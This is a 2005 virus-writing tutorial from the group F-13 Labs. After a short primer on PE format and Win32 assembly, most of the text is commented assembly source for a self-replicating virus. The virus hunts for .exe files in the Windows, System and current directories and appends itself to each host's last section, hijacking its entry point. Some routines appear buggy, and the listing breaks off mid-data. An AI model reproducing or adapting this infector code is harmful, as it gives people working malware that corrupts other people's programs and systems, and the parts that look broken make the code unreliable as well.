WIN32 Virus Run in Ring3(英文原版)

 

F-13 Labs

 

15 June 2005

 

 

 

 

 

 

 

WIN32 Virus Run in Ring3

 

 

 

 

 

 

 

 

 

 

 

 

 

Disclaimer:

 

The author of this document is not responsible of any kind of damage that could be made with the bad use of this information. The objective of this paper is for educational and research purposes only. It is made for use in viruses, but not as to promote any intentional harm or damage on computer systems.

Author: lclee_vx

<Email: lclee_vx@yahoo.com>


1.0             Foreword / Introduction

 

I wrote this article just a bit later than when I started infecting PE, as all concepts were clear in mind. The infection method described consists on adding the virus to the PE file’s last section. Here I just wrote one simple windows virus so you will see here just few lines of code. (Interesting ones I think but maybe not optimized). Here we go, please notice that it is illegal to spread viruses, and all this information is completely theoretical, and for testing purposes in a controlled environment. 

   

Note: 

Here are 6 functional logic of a virus

 

1. Search for ImageBase address of Kernel32.dll

2. Search for a file to infect

3. Open the file to see if it is infected

4. If infected, search for another file

5. Else, infect the file

6. Return control to the host program.

 

This article is never perfect, so notify me the possible mistakes in this document for further updates. Contact me:

 

Email                      :   lclee_vx@yahoo.com

Group          : F-13 Labs

 

 

2.0             Useful Things for Coding

 

You need some things before start code the vx. As below:

 

1.                  The tasm 5.0 package – ASM compiler, I like tasm :) !!

2.                  The API list (win32 API help file)

3.                  PE file format – strongly recommended Matt Pietrek document

4.                  ASM instruction helps file – Google and download the following file, helppc.zip.

5.                  Basic knowledge on Win32ASM

6.                  Windows platform

7.                  Editor – I prefer EditPlus

8.                  Vmware – testing environment

 

 

3.0             Basic

 

3.1             Ring3

 

The i386 architecture has four privilege levels, also known as rings that control such things as memory access and access to certain sensitive CPU instructions. Ring 3 is the least privileged level. In order to maintain compatibility, only ring 0 (kernel mode) and ring 3 (user mode) are used such as Windows NT/2000. Firstly, while under Windows, the memory layout is like this:

 

 

 

00000000h – 3FFFFFFFh

Application code and data

40000000h – 7FFFFFFFh

Shared memory (system dll’s)

80000000h – BFFFFFFFh

Kernel

C0000000h – FFFFFFFFh

Device Drivers

 

Here, we will code the virus and Infect the PE files in level Ring3 (00000000h – 3FFFFFFFh). I won’t explain more about memory layout / architecture in Windows because I am sure that you cat get the info from Microsoft website [1].  I assume that you will do a virus that increases the last section of the PE file. This technique is much more easy that adding another section. Let’s see how a virus can change an executable header in the following sections.

 

 

3.2             PE Format

 

It is very important to have cleared the structure of the PE header for write Win32 virus. Well, here I will put the PE format layout in the Appendix and just give the short description on PE file, for know more just take a look to the documents I recommended below.

 

PE stands for Portable Executable. It is the native file format of Win32 such as binary programs (exe, dll, sys, scr) or object files (bpl, dpl, cpl, ocx, acm, ax). The meaning of Portable Executable is that the file format is universal across win32 platform such as Windows 98 and 2K/NT. To understand the PE file, please refer to  

 

1.      Site Iczelion    : http://win32assembly.online.fr/pe-tut1.html

2.      Site msdn       :http://msdn.microsoft.com/msdnmag/issues/02/02/PE/default.aspx

3.      Site Jim Marinic       : http://jfmasmtuts.blowsearch.ws/Ch2/pefile.htm

 

3.3             Layout Win32 ASM program

 

The basic layout for a Win32 ASM program looks like below:

 

;--------------------------------------------------------------------//

.386p

.model flat, stdcall

 

extrn      <external name 1>:PROC

extrn     <external name 2>:PROC

……….

 

.data

 

.code

 

start:

       <main code>

 

end start

end

;----------------------------------------------------------------------//

 

I assume that you posses at least basic knowledge of assembly language, which every cracker, coder should have.

 

Here is the simple example of Win32 ASM program. So what I do is just use a MessageBox and since we work in Win32 and we want to use full 32 bit power, the command will be “MessageBoxA”. Note that “A” Suffix for the “MessageBoxA” deal with ASCII character. We define it with the already known “extrn” command, and then push the parameters and call the MessageBoxA API function. Remember that the parameters must be pushed in reverse order. Here we go…

 

;--------------------------------------------------------------------------------------//

.386p

.model flat

 

 

extrn      MessageBoxA:PROC

extrn      ExitProcess:PROC

 

.data

szTitle           db   "Group : F-13 Labs", 0

szMessage    db   "This is Simple Win32 ASM program", 10

              db   "From lclee_vx (RosLee)", 0

 

.code

start:

       push      00000000h

       push      offset szTitle

       push      offset szMessage

       push      00000000h

       call  MessageBoxA

 

       push      00000000h

       call  ExitProcess

 

end start

;----------------------------------------------------------------------------//

 

Finally, we compile a win32 ASM program. I hope it is clear how to code the win32 ASM program. You can also use makefile, or build a bat for compile ASM program automatically.

 

       Tasm32 /m3 /ml program

       Tlink32 /Tpe /aa program, program,, import32.lib

 

 

  1. Code Win32 Virus in Ring3

 

I will put here the code of a Win32 viruses simply for avoid the boring explanation of how to code the virus in Ring3, how to call the API functions to do the API hook and infect the PE file. Please noted that the Win32 virus code below without special features such as polymorphic engine. It is just a simple direct action virus to infect PE files, able to work in all win32 platforms. It is detected by all the antivirus software. So, it is not worth to change the strings and clam it is author.

 

 

;------------------------------------------------------------------------------------//

; Virus Name : F-13 V1.0

; Platform      : Win32

; Author : lclee_vx (leelingchuan)

; Origin          : Malaysia

; Group         : F-13 Labs

; Target  : PE files

; Copyright (c) 2005 by lclee_vx

;--------------------------------------------------------------------------------//

; There are some macros. And I set the length of the virus sizes.

;----------------------------------------------------------------------------------------//

 

.386

.model flat, stdcall

option casemap : none

 

VirusSize       equ (offset Virus_End - offset Virus_Start)

 

.data

 

szTitle           db   "F-13 Labs", 0

szMessage    db   "lclee_vx", 0

 

.code

u32        db   "User32.dll", 0

Virus_Start    label       byte

 

;----------------------------------------------------------------------------------------------------//

; Firstly, we must get the delta offset to known the current ImageBase. It is because we don’t

; know where we are executing the code. The “call” instruction will push the delta into stack

; And jump to next “pop” instruction. Now, ebp = Virtual Address of current process. The

; Current ImageBase = VirtualAddress – RVA (Relative Virtual Address of current process)    

;---------------------------------------------------------------------------------------------------//

 

vxstart:

       call  delta

 

delta:

       pop ebp

       sub ebp, offset delta                       ;get the imagebase from the

;current process

 

;-----------------------------------------------------------------------------------------------------//

; esp=Address from the process was called. I put in ESI (it is in Kernel32.dll, probably

; CreateProcess API) and set to beginning of PE. Jump to the routine looking for Kernel32 Base

; address.

;----------------------------------------------------------------------------------------------------//

      

       mov esi, [esp]                                  ;load the return address

       and esi, 0FFFFF000h                        ;Beginning of PE

 

       call  GetK32                                      ;routine to get imagebase of

                                                        ;kernel32.dll :)

       mov dword ptr [ebp+kernel], eax                  ;save the imagabase

; kernel32.dll

 

;---------------------------------------------------------------------------------------------------//

;jump to looking for the address of GetProcAddress function. The GetProcAddress function

;will help us to know the address of the API function we need to infect the PE file. Save the

;address in EDI

;-----------------------------------------------------------------------------------------------//

 

       call  GetApi                                       ;search address

;GetProcAddress

       mov [ebp+offset aGetProcAddress], edi         ;save the VA GetProcAddress

 

;------------------------------------------------------------------------------------------------//

;edi=will hold the API address, esi=all the API ASCIIZ names we looking for. GetAPIs routine

;will search the API address we need

;-------------------------------------------------------------------------------------------------//

 

       mov esi, [ebp+offset ListApi]                   ;start searching other API

       mov edi, [ebp+offset OffsetApi]                     ;function we want..Rock :)!!

       call  GetApis

      

call    Prepare                                     ;prepare the location

                                                        ;infect

       call  SetDirectory                              ;set the directory we want

                                                        ;to scan files

 

;------------------------------------------------------------------------------------------------------//

;check whether is first generation (infected already?), if yes, we jump to running the pop up

;message as below we use the LoadLibrary function to load other dll file and GetProcAddress

;to get the address of API we needed. Here, we load the User32.dll and get the address of

;MessageBox function if not first generation, we reset back the old EIP and jump back to the

;original host

;--------------------------------------------------------------------------------------------------//

 

RestoreEIP:

       cmp ebp, 0                                       ;first generation?

       je    Finish                                       

       mov eax, [ebp+offset OldEIP]                 ;restore old EIP

       add eax, OldBase                                   ;align to memory

       jmp eax                                    ;run back to the host

 

Finish:

       call  LoadDll

      

       lea  edx, [ebp+offset @MessageBoxA]

       call  GetAddr

      

       push      0

       push      offset szTitle

       push      offset szMessage

       push      0

       mov eax, [ebp+offset @MessageBoxA]

       call  eax

       call  LoadDll

 

       lea  edx, [ebp+offset @ExitProcess]

       call  GetAddr

 

       push      0

       mov eax, [ebp+offset @ExitProcess]

       call  eax

 

;--------------------------------------------------------------------------------------------------//

;here we use the routine of LoadLibrary to load the dll we needed, here we load User32.dll

;and GetProcAddress to get the address..

;-----------------------------------------------------------------------------------------------//

 

LoadDll   proc

       push      offset u32                                 ;load the User32.dll

       mov eax, [ebp+offset @LoadLibraryA]

       call  eax

       ret

LoadDll   endp

 

GetAddr proc

       push      edx

       push      eax

       mov eax, [ebp+offset aGetProcAddress]

       call  eax

       ret

GetAddr endp

 

;--------------------------------------------------------------------------------------------//

;This part is start to infect the PE files. I use the method increase the last section. First, I

;will explain the API functions and arguments we needed.

;

;     DWORD GetFileAttributes(

;           LPCTSTR lpFileName   // address of the name of a file or directory 

;      );

;a) lpFileName=address of the name

;

;

;     BOOL SetFileAttributes(

;      LPCTSTR lpFileName,   // address of filename

;      DWORD dwFileAttributes   // address of attributes to set

;      );

; a) dwFileAttributes=80h (any file)

;

;

;     BOOL UnmapViewOfFile(

;      LPCVOID lpBaseAddress   // address where mapped view begins 

;      );

; a) lpBaseAddress=MapAddress returned by MapViewOfFile

;

;

;      BOOL CloseHandle(

;      HANDLE hObject // handle to object to close 

;      );

; a) hObject=can be handle by CreateFileMapping or CreateFile

;

;

;      DWORD SetFilePointer(

;      HANDLE hFile,      // handle of file

;      LONG lDistanceToMove,     // number of bytes to move file pointer

;      PLONG lpDistanceToMoveHigh, // address of high-order word of distance to move 

;      DWORD dwMoveMethod    // how to move

;      );

; a)hFile=File handle

; b)lDistanceToMove=length of file

; c)lpDistanceToMoveHigh=0

; d)dwMoveMethod=0 (from the beginning of file)

;

;

;      BOOL SetEndOfFile(

;      HANDLE hFile       // handle of file whose EOF is to be set

;      );

; a)hFile=file handle

;

;

;we need to set the flags of section to allow us increase it, as below

;              or dword ptr [esi+24h],00000020h       ; Set [CWE] flags: code,

;              or dword ptr [esi+24h],20000000h       ; executable,

;              or dword ptr [esi+24h],80000000h       ; writable

;to make it easy, I just put the code as

;              or dword ptr [esi+24h], 0A0000020h

;

;

;The formula we use to point to last section header as below:

; Address of the last section's header =(Directory Table)+(No. of Directories)*(Directory Size) ;                                                  +(No. of Sections - 1)*(Section header size)

;And remember that

;              The Directory size is 8

;              The Section Header size is 28h.

;

;

;Let start a quick review of what we did to increase the last section.

;              1)locate PE header first

;              2) locate Directory Table at 78h

;              3) locate last section's header address (refer to the formula above)

;              4) increase the size of raw data

;              5) increase the virtual size

;              6) Get the “address copy to” and “address copy from” and start append the virus to

;                   the end

;              7) locate the new IP

;              8) mark the infected PE

;              9) increase the size of image

;Lastly, what you have to do is close the file and return to the host

;

;Note: Detail of the process please refer to the comment.

;--------------------------------------------------------------------------------------------//

InfectPE:

       pushad                                            ;save all register

       lea  esi, [ebp+WFD_szFileName]

       push      esi

       mov eax, [ebp+offset @GetFileAttributesA]          ;get the current FileAttributes

       call  eax

       mov dword ptr [ebp+OldAttributes], eax              ;save the current FileAttributes

 

       push      80h                                    ;here we set to open "Any"

;files                                    

       push      esi

       mov eax, [ebp+offset @SetFileAttributesA]          

       call  eax

 

       call  OpenFile                                   ;loop to open the file

 

       inc   eax                                    ;error ??

       cmp eax, 0                                      

       jz    CantOpen                                 ;jump out when error, :(!!

       dec  eax

       mov dword ptr [ebp+FileHandle], eax            ;save FileHandle

 

       mov ecx, dword ptr [ebp+WFD_nFileSizeLow]

       call  GetMapHandle                                 ;jmp to get mapping handle

 

       cmp eax, 0                                       ;error ?

       jz    FailGetMap                                ;we failed

 

       mov dword ptr [ebp+MapHandle], eax           ;save the mapping Handle

      

       mov ecx, dword ptr [ebp+WFD_nFileSizeLow]      ;prepare the parameter

       call  MapFile                                     ;start mapping the file

 

       cmp eax, 0                                       ;error MapViewOfFile ??

       jz    CloseMap                                  ;jump to Close Mapping the file

      

       mov dword ptr [ebp+MapAddress], eax         ;save the Mapping Address

 

       mov esi, [eax+3ch]                                  ;save PE header address into

;esi

 

       add esi, eax                                     ;esi = point to PE header

       cmp dword ptr [esi], "EP"                        ;PE file ??

       jnz  UnMapFile                                 ;close the file

 

       cmp dword ptr [esi+4ch], "13F-"                    ;infected already??

       jz    UnMapFile

 

       lea  eax, [esi+28h]                                 ;eax=Old EIP

       mov dword ptr [ebp+OldEIP], eax                  ;save the Old EIP

      

       mov ecx, dword ptr [esi+3ch]                  ;ecx = FileAlignment

 

       push      dword ptr [ebp+MapAddress]                 ;UnMap this file after get

;FileAlignment

 

       mov eax, [ebp+Offset @UnMapViewOfFile]

       call  eax

 

       push      dword ptr [ebp+MapHandle]

       mov eax, [ebp+offset @CloseHandle]            ;close the MapHandle

       call  eax

 

       mov eax, dword ptr [ebp+WFD_nFileSizeLow]

       add eax, VirusSize                                 

       call  AlignFile                             ;find No.of byte to pad

 

      

       add eax, ecx                             ;eax = (Original File Size

;+VirusSize+No. byte to pad)

 

       xchg       eax, ecx                             ;ecx = eax

       mov eax, dword ptr [ebp+FileHandle]                  

       call  GetMapHandle                                 ;jump to CreateFileMapping

      

       cmp eax, 0                                       ;error?

       jz    FailGetMap          

 

       call  MapFile

 

       cmp eax, 0                                       ;error??

       jz    CloseMap

 

       mov esi, eax                                     ;esi = PE pointer

       mov edi, eax                                     ;edi = PE pointer

       mov ebx, dword ptr [esi+74h]                 ;ebx = NumberOfRvaAndSizes

       shl   ebx, 3                                       ;ebx * 8

       xor  eax, eax                             ;eax = 0

       mov ax, word ptr [esi+06h]                            ;ax = number of sections

       dec  eax                                    ;ax -1

       mov ecx, 00000028h                        ;ecx = section header size

       mul  ecx                                     ;eax = eax*ecx

       add esi, 00000078h                                ;esi = ExportDirectory VA

       add esi, ebx                             

       add esi, ecx                                     ;esi = pointer to Section

;Header

 

       or    dword ptr [esi+24h], 0A0000020h         ;set the flags in section

 

       mov eax, dword ptr [edi+28h]                ;eax = AddressOfEntryPoint

       mov dword ptr [ebp+OldEIP], eax                  ;save the OldEIP

       mov eax, dword ptr [edi+34h]                ;eax = ImageBase

       mov dword ptr [ebp+OldBase], eax               ;save the Original ImageBase

 

       mov ebx, dword ptr [esi+10h]                 ;ebx = SizeOfRawData

       mov edx, dword ptr [esi+14h]                 ;edx = PointerToRawData

       add edx, ebx                             ;edx = Raw Pointer

 

       mov eax, dword ptr [esi+0ch]                 ;eax = VirtualAddress

            add   eax, ebx                             ;eax=NewEIP =

;SizeOfRawData +

;VirtualAddress

 

       mov dword ptr [ebp+NewEIP], eax                ;save the New EIP

       mov dword ptr [edi+28h], eax                ;set the New EIP in the

;AddressOfEntryPoint

 

       mov ebx, dword ptr [esi+10h]                 ;ebx = New SizeOfRawData

       mov eax, ebx                             ;eax =ebx

       add eax, VirusSize                                  ;eax=NewSizeOfRawData +

;VirusSize

 

       mov ecx, dword ptr [edi+3ch]                 ;ecx = FileAlign

       call  AlignFile                             ;jump to calculate the "number

;of byte to pad"

 

       add eax, VirusSize                                  ;eax=Number of byte to pad +

;VirusSize

 

       add eax, ebx                             ;eax=eax+New SizeOfRawData

 

       mov dword ptr [esi+08h], eax                 ;set the new VirtualSize

       mov dword ptr [esi+10h], eax                 ;set the new SizeOfRawData

 

       add ebx, [esi+0ch]                                  ;ebx = New SizeOfRawData +

;VirtualAddress

 

       mov dword ptr [edi+50h], eax                ;set the new SizeOfImage

 

       mov dword ptr [edi+4ch], "13F-"                    ;put the infected mark here

 

       mov esi, dword ptr [ebp+vxstart]                  ;esi = point to the virus start =

;Address copy from

 

       add edx, dword ptr [ebp+MapAddress]         ;edx = Raw Pointer +

;MapAddress=Address copy to

 

       xchg       edi, edx

       mov ecx, VirusSize                                   ;set the length of virus

       rep  movsb                                       ;start copy the virus to the end

;of section

      

       jmp UnMapFile                                 ;close the file

 

CantOpen:                                             

       push      dword ptr [ebp+OldAttributes]               ;here we failed to open the file

       lea  eax, [ebp+WFD_szFileName]                  ;with CreateFile function

       push      eax                                    ;set to Old FileAttributes we

;get before

 

       mov eax, [ebp+offset @SetFileAttributesA]          

       call  eax

       ret

 

FailGetMap:

       push      dword ptr [ebp+FileHandle]

       mov eax, [ebp+offset @CloseHandle]

       call  eax

 

UnMapFile:

       push      dword ptr [ebp+MapAddress]

       mov eax, [ebp+Offset @UnMapViewOfFile]

       call  eax

 

CloseMap:

       push      dword ptr [ebp+MapHandle]

       mov eax, [ebp+offset @CloseHandle]            ;close mapping

       call  eax

 

CloseFile:

       mov ecx, dword ptr [ebp+WFD_nFileSizeLow]      ;length

       xor  eax, eax                             ;eax =0

       push      eax

       push      eax

       push      ecx

       push      dword ptr [ebp+FileHandle]

       mov eax, [ebp+offset @SetFilePointer]

       call  eax

 

       push      dword ptr [ebp+FileHandle]

       mov eax, [ebp+offset @SetEndOfFile]

       call  eax

 

       popad                                              ;restore all register

       ret

 

;-------------------------------------------------------------------------------------------------//

;here we align the file, need to get Number of byte to pad. This procedure is very

;important thing of the PE infection: align a number to a determinated factor. Below is the

;formula Number byte to pad = file alignment - remainer (NewSize/file alignment)

;--------------------------------------------------------------------------------------------------//

 

AlignFile proc

       push      edx                                    ;save to stack

       xor  edx, edx                             ;edx=0, we need edx to save remainer

       div   ecx                                     ;eax/ecx

       sub ecx, edx                             ;ecx = Number byte to pad

       pop edx

       ret

AlignFile endp

 

 

 

 

;-------------------------------------------------------------------------------------------//

;we start mapping the file with MapViewOfFile function

;     LPVOID MapViewOfFile(

;           HANDLE hFileMappingObject,    // file-mapping object to map into address space 

;           DWORD dwDesiredAccess, // access mode

;           DWORD dwFileOffsetHigh, // high-order 32 bits of file offset

;           DWORD dwFileOffsetLow,  // low-order 32 bits of file offset

;           DWORD dwNumberOfBytesToMap   // number of bytes to map

;   );

;

;The value of arguments is as below

; a)hFileMappingObject=File Map Handle (handle return by CreateFileMapping)

; b)dwDesiredAccess=2 (file map write mode)

; c)dwFileOffsetHigh=0

; d)dwFileOffsetLow=0

; e)dwNumberOfBytesToMap=byte to map

;------------------------------------------------------------------------------------------//

 

MapFile         proc

       push      ecx

       push      0h

       push      0h

       push      02h

       push      eax

       mov eax, [ebp+offset @MapViewOfFile]

       call  eax

       ret

MapFile  endp

 

;--------------------------------------------------------------------------------------------//

;We start to get the mapping handle with CreateFileMapping function.

;      HANDLE CreateFileMapping(

;      HANDLE hFile,      // handle to file to map

;   LPSECURITY_ATTRIBUTES lpFileMappingAttributes,   // optional security attributes

;           DWORD flProtect, // protection for mapping object

;           DWORD dwMaximumSizeHigh,  // high-order 32 bits of object size 

;           DWORD dwMaximumSizeLow,   // low-order 32 bits of object size 

;           LPCTSTR lpName        // name of file-mapping object

;   );

;

;The value of arguments we need to set as below

; a) hFile=File Handle

; b) lpFileMappingAttributes=0 (default)

;flProtect=4 (page read/write)

;dwMaximumSizeHigh=0

;dwMaximumSizeLow=is the memory value we compute early

;lpName=0

;--------------------------------------------------------------------------------------------//

 

GetMapHandle     proc

       push      0h

       push      ecx

       push      0h

       push      04h

       push      0h

       push      eax

       mov eax, [ebp+offset @CreateFileMappingA]

       call  eax

       ret

GetMapHandle     endp

 

;--------------------------------------------------------------------------------------------//

;this part we open the file with CreateFile function. I think not need to explain more.

;

;      HANDLE CreateFile(

;      LPCTSTR lpFileName,   // pointer to name of the file

;      DWORD dwDesiredAccess, // access (read-write) mode

;      DWORD dwShareMode,     // share mode

;      LPSECURITY_ATTRIBUTES lpSecurityAttributes,     // pointer to security attributes

;      DWORD dwCreationDistribution,      // how to create

;      DWORD dwFlagsAndAttributes,       // file attributes

;      HANDLE hTemplateFile      // handle to file with attributes to copy 

;      );

;

;The argument we need to set as below

; a)lpFileName=pointer to name of the file

; b)dwDesiredAccess=80000000h+40000000h (generic read/write)

; c)dwShareMode=1 (share for read)

; d)lpSecurityAttributes=0(default)

; e)dwCreationDistribution=3 (open existing file)

; f)dwFlagsAndAttributes=0 (any file)

; g)hTemplateFile=0 (for windows)

;--------------------------------------------------------------------------------------------//

 

OpenFile       proc

       xor  eax, eax

       push      eax                                    ;hTemplateFile=0 (default)

       push      eax                                    ;dwFlagsAndAttributes=0 (any

;files)

 

       push      03h                                    ;dwCreationDistribution=3

;( Open existing files)

 

       push      eax                                    ;lpSecurityAttributes=0

;( default)

 

       push      01h                                    ;dwShareMode=1 (share to

;read)

 

       push      80000000h or 40000000h               ;dwDesiredAccess (read/write)

       push      esi                                      ;lpFileName

       mov eax, [ebp+offset @CreateFileA]                     ;call CreateFile function

       call  eax

       ret

OpenFile       endp

 

 

 

;---------------------------------------------------------------------------------------------//

;here we set the location we want to start searching exe file. We just set searching 3

;level, everytime I set the location of directory, jump to searching the file.

;---------------------------------------------------------------------------------------------//

 

SetDirectory:

       xor  ecx, ecx                              ;ecx=0

       mov byte ptr [ecx], 03h                           ;set counter

       lea  edi, [ebp+offset Directories]                  

 

StartSet:

       push      edi                                     ;push the path

       mov eax, [ebp+offset @SetCurrentDirectoryA]     ;set to directory path

       call  eax

       call  ScanFiles                                   ;start to scan file We need

       add edi, 7Fh                              ;next directory

       dec  ecx                                     ;ecx -1

       jnz  StartSet                                   

       ret

 

;---------------------------------------------------------------------------------------------//

;start searching the *exe files in the directory we are in. Here I just set to infect 10 files.

;Before that, please understand the structure WIN32_FIND_DATA. We use FindFirstFile,

;FindNextFile to search the *exe file. If we get it, jump to InfectPE to start infect the

;the file. We end the searching with FindClose function.

;---------------------------------------------------------------------------------------------//

 

ScanFiles:

       mov dword ptr [ebp+CounterInfect], 00000000h ;set the counter=0

       lea  eax, [ebp+offset WIN32_FIND_DATA]

       push      eax

       lea  eax, [ebp+offset ExeMask]                     ;search the *.exe files

       push      eax

       mov eax, [ebp+offset @FindFirstFileA]           ;start searching

       call  eax

      

       inc   eax                                    ;error?

       cmp eax, 0                                      

       jz    FailScan

       dec  eax

       mov dword ptr [ebp+SearchHandle], eax             ;save the search handle

 

Scan1:

       call  InfectPE

       inc   byte ptr [ebp+CounterInfect]

       cmp byte ptr [ebp+CounterInfect], 0Ah         ;over limit infected ??

       jz    FailScan

 

Scan2:

       mov edi, dword ptr [ebp+WFD_szFileName]         ;clear the filename                   

       mov ecx, max_path                                 ;prepare for FindNextFile

       xor  al, al                                          ;function

       rep  stosb

 

       lea  eax, [ebp+offset WIN32_FIND_DATA]

       push      eax

       push      dword ptr [ebp+SearchHandle]

       mov eax, [ebp+offset @FindNextFileA]           ;call FindNextFile function

       call  eax

      

       cmp eax, 0                                       ;error??

       jnz  Scan1

 

CloseScan:

       push      dword ptr [ebp+SearchHandle]

       mov eax, [ebp+offset @FindClose]                ;close find

       call  eax

 

FailScan:

       cmp byte ptr [ebp+CounterInfect], 0Ah         ;over limit ??

       jnz  Scan2

       ret

 

;-------------------------------------------------------------------------------------------------//

;start search the Kernel32.dll base address. Here we set the limit 50page (refer LimitK32)

;check whether is the PE?, if not, search another page. If at the end still cant get the address,

;hardcode the Windows XP Kernel32.dll base address. Please note that as I not set SEH in

;the code, might cause the error when run this …not have time :( !!

;--------------------------------------------------------------=-----------------------------//

 

GetK32   proc

 

Search1:

       cmp byte ptr [ebp+LimitK32], 00h                  ;50page already?

       jz    K32Failed

       cmp dword ptr [esi], "ZM"                       ;MZ Signature?

       jz    CheckPE                             ;check is PE file??

 

Search2:

       sub esi, 1000h                                 ;search another page

       dec  byte ptr [ebp+LimitK32]                   ;LimitK32 - 1

       jmp Search1

 

CheckPE:

       mov edi, [esi+3ch]                                   ;edi = address PE header

                                                        ;edi will be used in GetApi

                                                        ;routine

 

       add edi, esi                                      ;edi = point to PE header

 

       cmp dword ptr [edi], "EP"                       ;PE file??

 

       jz    SuccessK32                               ;if equal, we success

       jmp Search2

 

K32Failed:    

       mov esi, KernelXP                             ;hardcode the Windows XP

                                                        ;kernel32.dll base address

 

SuccessK32:

       xchg       eax, esi

       ret

GetK32   endp

 

;--------------------------------------------------------------------------------------------//

;this part scan the Export Directory to get the GetProcAddress function we need. Before

;we start, please read the tutorial PE by Iczelion (refer to site I recommended).  Ok, let

;start. First refer GetK32 routine, edi=point to PE header. Set the ESI=point to

;ExportDirectory VA, now ESI in point to Export Directory section (refer to PE structure in

;Appendix). We save the the value of Base, NumberOfNames, AddressOfFunction,

;AddressOfNames, AddressOfNameOrdinals. We compare the AddressOfNames with the

;API function needed (here is GetProcAddress). If match, now ECX=the index into the

;AddressOfOrdinals. Use the formula to retrieve the address of function.

;(1) Ordinal=CX*2+[Address of ordinals]

;(2) Address of Function (RVA)=Ordinal*4+[Address of Functions]

;--------------------------------------------------------------------------------------------//

 

GetApi    proc

                      

       mov esi, [edi+78h]                                  ;point to ExportDirectory VA

       add esi, [ebp+kernel]                      ;normalize

       mov [ebp+offset Export], esi                   ;save the ExportDirectory VA

       add esi, 10h                              ;point to Base (ExportDirectory)

       lodsd                                                ;load the Base Address into

;EAX register

       mov [ebp+offset Base], eax                           ;save Base (ExportDirectory)

 

       lodsd

       lodsd                                                ;load the NumberOfNames

                                                        ;address into EAX register

       mov [ebp+offset NumNames], eax                 ;save NumberOfNames

       lodsd                                                ;load the AddressOfFunction

                                                        ;in EAX

 

       add eax, [ebp+kernel]                            ;normalize RVA

;AddressOfFunctions

 

       mov [ebp+offset AddFunc], eax                     ;save AddressOfFunctions

       lodsd

       add eax, [ebp+kernel]                            ;normalize RVA

;AddressOfNames

       lodsd

       mov [ebp+offset AddNames], eax                  ;save AddressOfNames

 

       add eax, [ebp+kernel]                            ;normalize RVA

;AddressOfNameOrdinals

 

       mov [ebp+offset AddOrdinal], eax                 ;save AddressOfNameOrdinal

       mov esi, [ebp+offset AddFunc]                ;load the address of function

       lodsd                                                ;into esi

       add eax, [ebp+kernel]                            ;normalize RVA function

 

       mov esi, [ebp+offset AddNames]                   ;load esi=AddressOfNames

       mov [ebp+offset NamesIndex], esi                ;save the index of

;AddressOfNames

       mov edi, [esi]

       add esi, [ebp+kernel]                      ;normalize the RVA

;AddressOfNames

 

 

       xor  ecx, ecx                              ;set the counter=0, make sure

;not > NumNames ?

       mov ebx, [ebp+offset FirstApi]                ;start search GetProcAddress

      

       mov esi, [ebp+offset AddNames]

       mov [ebp+offset Index], esi                           ;set the index

       add esi, [ebp+kernel]                      ;normalize RVA AddNames

 

Loop :

       mov edi, ebx

 

Scan:

       cmpsb                                              ;compare string ESI, EDI

       jne  NextOne

       cmp byte ptr [esi], 0                         ;match??

       je    WeGet

       jmp Scan

 

NextOne:

       inc   ecx                                     increase counter

       cmp cx, word ptr [ebp+offset NumNames]            ;check whether > NumNames?

       jg    Failed

       add dword ptr [ebp+offset Index], 4             ;next search

       mov esi, [ebp+offset Index]

       add esi, [ebp+kernel]

       jmp Loop

 

WeGet:

       shl   ecx, 1                                        ;this part using the formula to

;retrieve the address. Refer to

;explanation above

 

       mov esi, [ebp+AddOrdinal]                     

       add esi, ecx                                                                        lea  eax, word ptr [esi]

       shl   eax, 2

       add esi, [ebp+offset AddFunc]

       mov edi, dword ptr [esi]

       add edi, [ebp+kernel]

       ret

      

Failed:

       ret

GetApi    endp

 

;---------------------------------------------------------------------------------------------------//

;start scan all API function we use to infect PE files. Here, we use the GetProcAddress to

;retrieve all the API address we needed. So, when we want to use the API function, we can

;use the method as below. For example we want to use FindFirstFile function

;                push <argument FindFirstFile function>

;                mov  eax, [ebp+offset FindFirstFile]

;                call    eax

;---------------------------------------------------------------------------------------------------//

 

GetApis  proc

 

G1:  push      esi                                      ;Use the formula

       mov eax, [ebp+kernel]                            ;(1) push <Api Function>

       push      eax                                    ;(2) push ImageBase

;Kernel32.dll

 

       mov eax, [ebp+offset aGetProcAddress]        ;(3) call GetProcAddress

       call  eax                                    ;return address is the RVA Api

;Function

       cmp eax, 0

       je    G2

       stosd                                               ;store RVA address to edi

 

G2:

       inc   esi                                      ;point to next Api function

       cmp byte ptr [esi], 0AAh                          ;end??

       je    Out                                    ;if yes, we are failed

       jmp G1                                      ;loop again

 

Out:

       ret

 

GetApis  endp

 

;----------------------------------------------------------------------------------------------

;prepare the location to start infect. Before that, we need to remember the buffer size of

;directory is 7Fh. Here we use three function to set the location, GetWindowsDirectory,

;GetSystemDirectory, GetCurrentDirectory. Please read the Win32 APi…..

;----------------------------------------------------------------------------------------------

 

Prepare  proc

       lea  edi, [ebp+WinDir]                           

       push      7Fh                                    ;push the buffer size

       push      edi

       mov eax, [ebp+offset @GetWindowsDirectoryA]   ;call GetWindowsDirectory

;Function

       call  eax

 

       add edi, 7Fh

       push      7Fh       

       push      edi

       mov eax, [ebp+offset @GetSystemDirectoryA]      ;call GetSystemDirectory

;Function

       call  eax

 

       add edi, 7Fh

       push      edi

       push      7Fh

       mov eax, [ebp+offset @GetCurrentDirectoryA]     ;call GetCurrentDirectory

;Function

       push      eax

       ret

 

Prepare  endp

      

;--------------------------------------------------------------------------------------------

;variable

;---------------------------------------------------------------------------------------------

ExeMask                     db   "*.exe", 0

max_path                   equ 260

CounterInfect                    dd   00000000h

SearchHandle                    dd   00000000h

FileHandle                   dd   00000000h

OldAttributes                     dd   00000000h

MapHandle                  dd   00000000h

MapAddress                dd   00000000h

OldEIP                         dd   00000000h

NewEIP                       dd   00000000h

OldBase               dd   00000000h

kernel                         dd   077E60000h

Export                         dd   00000000h

Base                           dd   00000000h

NumNames                 dd   00000000h

AddFunc               dd   00000000h

AddNames                  dd   00000000h

AddOrdinal                  dd   00000000h

NamesIndex               dd   00000000h

Index                          dd   00000000h

 

KernelXP                     equ 077E60000h

 

LimitK32               dw  Limit

Limit                            equ (50000h/1000h)

 

Directories                  label       byte

WinDir                         db   7Fh dup (00)

SysDir                         db   7Fh dup (00)

OrgDir                         db   7Fh dup (00)

 

ListApi                         label       byte

@FindFirstFileA                   db   "FindFirstFileA", 0

@FindNextFileA                  db   "FindNextFileA", 0

@FindClose                 db   "FindClose", 0

@GetFileAttributesA           db   "GetFileAttributesA", 0

@SetFileAttributesA           db   "SetFileAttributesA", 0

@CreateFileA                     db   "CreateFileA", 0

@CreateFileMappingA        db   "CreateFileMappingA", 0

